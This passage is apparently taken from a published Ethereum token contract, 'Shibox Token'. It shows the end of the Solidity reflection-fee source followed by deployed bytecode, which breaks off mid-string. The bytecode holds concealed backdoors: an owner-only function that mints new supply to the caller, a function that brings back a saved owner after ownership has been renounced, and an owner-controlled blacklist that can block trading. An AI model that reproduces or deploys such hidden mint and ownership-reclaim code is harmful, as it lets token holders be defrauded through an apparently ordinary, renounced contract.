private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
}
|
0x60806040526004361061012d5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb146103b0578063aaaf6be1146103ed578063c3c8cd8014610416578063c9567bf91461042d578063d543dbeb14610444578063dd62ed3e1461046d57610134565b8063715018a6146103035780637b5b11571461031a578063880ad0af146103435780638da5cb5b1461035a57806395d89b411461038557610134565b8063313ce567116100f2578063313ce567146102325780635932ead11461025d5780636b999053146102865780636fc3eaec146102af57806370a08231146102c657610134565b8062b8cf2a1461013957806306fdde0314610162578063095ea7b31461018d57806318160ddd146101ca57806323b872dd146101f557610134565b3661013457005b600080fd5b34801561014557600080fd5b50610160600480360381019061015b9190612efa565b6104aa565b005b34801561016e57600080fd5b506101776105fa565b6040516101849190613404565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190612ebe565b610637565b6040516101c191906133e9565b60405180910390f35b3480156101d657600080fd5b506101df610655565b6040516101ec9190613606565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190612e6f565b61065f565b60405161022991906133e9565b60405180910390f35b34801561023e57600080fd5b50610247610738565b604051610254919061367b565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f9190612f3b565b610741565b005b34801561029257600080fd5b506102ad60048036038101906102a89190612de1565b6107f3565b005b3480156102bb57600080fd5b506102c46108e3565b005b3480156102d257600080fd5b506102ed60048036038101906102e89190612de1565b610955565b6040516102fa9190613606565b60405180910390f35b34801561030f57600080fd5b506103186109a6565b005b34801561032657600080fd5b50610341600480360381019061033c9190612f8d565b610b3b565b005b34801561034f57600080fd5b50610358610c1d565b005b34801561036657600080fd5b5061036f610d10565b60405161037c919061331b565b60405180910390f35b34801561039157600080fd5b5061039a610d39565b6040516103a79190613404565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d29190612ebe565b610d76565b6040516103e491906133e9565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612f8d565b610d94565b005b34801561042257600080fd5b5061042b610fce565b005b34801561043957600080fd5b50610442611048565b005b34801561045057600080fd5b5061046b60048036038101906104669190612f8d565b61159d565b005b34801561047957600080fd5b50610494600480360381019061048f9190612e33565b6116df565b6040516104a19190613606565b60405180910390f35b6104b2611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053690613566565b60405180910390fd5b60005b81518110156105f6576001600d600084848151811061058a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105ee9061391c565b915050610542565b5050565b60606040518060400160405280600c81526020017f536869626f7820546f6b656e0000000000000000000000000000000000000000815250905090565b600061064b610644611766565b848461176e565b6001905092915050565b6000600854905090565b600061066c848484611939565b61072d84610678611766565b61072885604051806060016040528060288152602001613de060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106de611766565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121059092919063ffffffff16565b61176e565b600190509392505050565b60006009905090565b610749611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd90613566565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b6107fb611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610888576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087f90613566565b60405180910390fd5b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610924611766565b73ffffffffffffffffffffffffffffffffffffffff161461094457600080fd5b600047905061095281612169565b50565b600061099f600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612264565b9050919050565b6109ae611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3290613566565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b43611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc790613566565b60405180910390fd5b60008111610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613506565b60405180910390fd5b8060148190555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca3906134e6565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534849424f580000000000000000000000000000000000000000000000000000815250905090565b6000610d8a610d83611766565b8484611939565b6001905092915050565b610d9c611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2090613566565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610e49611766565b73ffffffffffffffffffffffffffffffffffffffff161415610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790613446565b60405180910390fd5b610eb5816008546122d290919063ffffffff16565b600881905550610f148160046000610ecb611766565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d290919063ffffffff16565b60046000610f20611766565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f66611766565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fc39190613606565b60405180910390a350565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661100f611766565b73ffffffffffffffffffffffffffffffffffffffff161461102f57600080fd5b600061103a30610955565b905061104581612330565b50565b611050611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d490613566565b60405180910390fd5b601260149054906101000a900460ff161561112d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112490613466565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111b630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461176e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111fc57600080fd5b505afa158015611210573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112349190612e0a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561129657600080fd5b505afa1580156112aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ce9190612e0a565b6040518363ffffffff1660e01b81526004016112eb929190613336565b602060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133d9190612e0a565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c630610955565b6000806113d1610d10565b426040518863ffffffff1660e01b81526004016113f396959493929190613388565b6060604051808303818588803b15801561140c57600080fd5b505af1158015611420573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114459190612fb6565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550678ac7230489e800006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154792919061335f565b602060405180830381600087803b15801561156157600080fd5b505af1158015611575573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115999190612f64565b5050565b6115a5611766565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162990613566565b60405180910390fd5b60008111611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90613526565b60405180910390fd5b61169d606461168f8360085461262a90919063ffffffff16565b6126a590919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516116d49190613606565b60405180910390a150565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d5906135c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561184e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611845906134a6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161192c9190613606565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a0906135a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1090613426565b60405180910390fd5b60008111611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5390613586565b60405180910390fd5b611a64610d10565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ad25750611aa2610d10565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204257601260179054906101000a900460ff1615611d05573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b5457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bae5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c085750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d0457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c4e611766565b73ffffffffffffffffffffffffffffffffffffffff161480611cc45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cac611766565b73ffffffffffffffffffffffffffffffffffffffff16145b611d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfa906135e6565b60405180910390fd5b5b5b601354811115611d1457600080fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611db85750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dc157600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e6c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ec25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eda5750601260179054906101000a900460ff165b15611f885742600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611f2a57600080fd5b6001601454611f3991906137c3565b42611f44919061373c565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611f9330610955565b9050601260159054906101000a900460ff161580156120005750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120185750601260169054906101000a900460ff165b156120405761202681612330565b6000479050600081111561203e5761203d47612169565b5b505b505b600060019050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120e95750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120f357600090505b6120ff848484846126ef565b50505050565b600083831115829061214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449190613404565b60405180910390fd5b506000838561215c919061381d565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121b96002846126a590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121e4573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122356002846126a590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612260573d6000803e3d6000fd5b5050565b60006009548211156122ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a290613486565b60405180910390fd5b60006122b561271c565b90506122ca81846126a590919063ffffffff16565b915050919050565b60008082846122e1919061373c565b905083811015612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d906134c6565b60405180910390fd5b8091505092915050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156123bc5781602001602082028036833780820191505090505b50905030816000815181106123fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561249c57600080fd5b505afa1580156124b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d49190612e0a565b8160018151811061250e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257530601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461176e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125d9959493929190613621565b600060405180830381600087803b1580156125f357600080fd5b505af1158015612607573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083141561263d576000905061269f565b6000828461264b91906137c3565b905082848261265a9190613792565b1461269a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269190613546565b60405180910390fd5b809150505b92915050565b60006126e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612747565b905092915050565b806126fd576126fc6127aa565b5b6127088484846127db565b80612716576127156129a6565b5b50505050565b60008060006127296129b8565b9150915061274081836126a590919063ffffffff16565b9250505090565b6000808311829061278e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127859190613404565b60405180910390fd5b506000838561279d9190613792565b9050809150509392505050565b6000600b541480156127be57506000600c54145b156127c8576127d9565b6000600b819055506000600c819055505b565b6000806000806000806127ed87612a05565b95509550955095509550955061284b86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6d90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e085600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d290919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292c81612ab7565b6129368483612b74565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129939190613606565b60405180910390a3505050505050505050565b6005600b81905550600a600c81905550565b60008060006009549050600060085490506129e06008546009546126a590919063ffffffff16565b8210156129f857600954600854935093505050612a01565b81819350935050505b9091565b6000806000806000806000806000612a228a600b54600c54612bae565b9250925092506000612a3261271c565b90506000806000612a458e878787612c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612aaf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612105565b905092915050565b6000612ac161271c565b90506000612ad8828461262a90919063ffffffff16565b9050612b2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b8982600954612a6d90919063ffffffff16565b600981905550612ba481600a546122d290919063ffffffff16565b600a819055505050565b600080600080612bda6064612bcc888a61262a90919063ffffffff16565b6126a590919063ffffffff16565b90506000612c046064612bf6888b61262a90919063ffffffff16565b6126a590919063ffffffff16565b90506000612c2d82612c1f858c612a6d90919063ffffffff16565b612a6d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c5d858961262a90919063ffffffff16565b90506000612c74868961262a90919063ffffffff16565b90506000612c8b878961262a90919063ffffffff16565b90506000612cb482612ca68587612a6d90919063ffffffff16565b612a6d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ce0612cdb846136bb565b613696565b90508083825260208201905082856020860282011115612cff57600080fd5b60005b85811015612d2f5781612d158882612d39565b845260208401935060208301925050600181019050612d02565b5050509392505050565b600081359050612d4881613d9a565b92915050565b600081519050612d5d81613d9a565b92915050565b600082601f830112612d7457600080fd5b8135612d84848260208601612ccd565b91505092915050565b600081359050612d9c81613db1565b92915050565b600081519050612db181613db1565b92915050565b600081359050612dc681613dc8565b92915050565b600081519050612ddb81613dc8565b92915050565b600060208284031215612df357600080fd5b6000612e0184828501612d39565b91505092915050565b600060208284031215612e1c57600080fd5b6000612e2a84828501612d4e565b91505092915050565b60008060408385031215612e4657600080fd5b6000612e5485828601612d39565b9250506020612e6585828601612d39565b9150509250929050565b600080600060608486031215612e8457600080fd5b6000612e9286828701612d39565b9350506020612ea386828701612d39565b9250506040612eb486828701612db7565b9150509250925092565b60008060408385031215612ed157600080fd5b6000612edf85828601612d39565b9250506020612ef085828601612db7565b9150509250929050565b600060208284031215612f0c57600080fd5b600082013567ffffffffffffffff811115612f2657600080fd5b612f3284828501612d63565b91505092915050565b600060208284031215612f4d57600080fd5b6000612f5b84828501612d8d565b91505092915050565b600060208284031215612f7657600080fd5b6000612f8484828501612da2565b91505092915050565b600060208284031215612f9f57600080fd5b6000612fad84828501612db7565b91505092915050565b600080600060608486031215612fcb57600080fd5b6000612fd986828701612dcc565b9350506020612fea86828701612dcc565b9250506040612ffb86828701612dcc565b9150509250925092565b6000613011838361301d565b60208301905092915050565b61302681613851565b82525050565b61303581613851565b82525050565b6000613046826136f7565b613050818561371a565b935061305b836136e7565b8060005b8381101561308c5781516130738882613005565b975061307e8361370d565b92505060018101905061305f565b5085935050505092915050565b6130a281613863565b82525050565b6130b1816138a6565b82525050565b60006130c282613702565b6130cc818561372b565b93506130dc8185602086016138b8565b6130e5816139f2565b840191505092915050565b60006130fd60238361372b565b915061310882613a03565b604082019050919050565b600061312060218361372b565b915061312b82613a52565b604082019050919050565b6000613143601a8361372b565b915061314e82613aa1565b602082019050919050565b6000613166602a8361372b565b915061317182613aca565b604082019050919050565b600061318960228361372b565b915061319482613b19565b604082019050919050565b60006131ac601b8361372b565b91506131b782613b68565b602082019050919050565b60006131cf60158361372b565b91506131da82613b91565b602082019050919050565b60006131f2601b8361372b565b91506131fd82613bba565b602082019050919050565b6000613215601d8361372b565b915061322082613be3565b602082019050919050565b600061323860218361372b565b915061324382613c0c565b604082019050919050565b600061325b60208361372b565b915061326682613c5b565b602082019050919050565b600061327e60298361372b565b915061328982613c84565b604082019050919050565b60006132a160258361372b565b91506132ac82613cd3565b604082019050919050565b60006132c460248361372b565b91506132cf82613d22565b604082019050919050565b60006132e760118361372b565b91506132f282613d71565b602082019050919050565b6133068161388f565b82525050565b61331581613899565b82525050565b6000602082019050613330600083018461302c565b92915050565b600060408201905061334b600083018561302c565b613358602083018461302c565b9392505050565b6000604082019050613374600083018561302c565b61338160208301846132fd565b9392505050565b600060c08201905061339d600083018961302c565b6133aa60208301886132fd565b6133b760408301876130a8565b6133c460608301866130a8565b6133d1608083018561302c565b6133de60a08301846132fd565b979650505050505050565b60006020820190506133fe6000830184613099565b92915050565b6000602082019050818103600083015261341e81846130b7565b905092915050565b6000602082019050818103600083015261343f816130f0565b9050919050565b6000602082019050818103600083015261345f81613113565b9050919050565b6000602082019050818103600083015261347f81613136565b9050919050565b6000602082019050818103600083015261349f81613159565b9050919050565b600060208201905081810360008301526134bf8161317c565b9050919050565b600060208201905081810360008301526134df8161319f565b9050919050565b600060208201905081810360008301526134ff816131c2565b9050919050565b6000602082019050818103600083015261351f816131e5565b9050919050565b6000602082019050818103600083015261353f81613208565b9050919050565b6000602082019050818103600083015261355f8161322b565b9050919050565b6000602082019050818103600083015261357f8161324e565b9050919050565b6000602082019050818103600083015261359f81613271565b9050919050565b600060208201905081810360008301526135bf81613294565b9050919050565b600060208201905081810360008301526135df816132b7565b9050919050565b600060208201905081810360008301526135ff816132da565b9050919050565b600060208201905061361b60008301846132fd565b92915050565b600060a08201905061363660008301886132fd565b61364360208301876130a8565b8181036040830152613655818661303b565b9050613664606083018561302c565b61367160808301846132fd565b9695505050505050565b6000602082019050613690600083018461330c565b92915050565b60006136a06136b1565b90506136ac82826138eb565b919050565b6000604051905090565b600067ffffffffffffffff8211156136d6576136d56139c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137478261388f565b91506137528361388f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561378757613786613965565b5b828201905092915050565b600061379d8261388f565b91506137a88361388f565b9250826137b8576137b7613994565b5b828204905092915050565b60006137ce8261388f565b91506137d98361388f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561381257613811613965565b5b828202905092915050565b60006138288261388f565b91506138338361388f565b92508282101561384657613845613965565b5b828203905092915050565b600061385c8261386f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138b18261388f565b9050919050565b60005b838110156138d65780820151818401526020810190506138bb565b838111156138e5576000848401525b50505050565b6138f4826139f2565b810181811067ffffffffffffffff82111715613913576139126139c3565b5b80604052505050565b60006139278261388f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561395a57613959613965565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2063616e6e6f74207065726d6974207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6f776e6572206973207a65726f20616464726573730000000000000000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206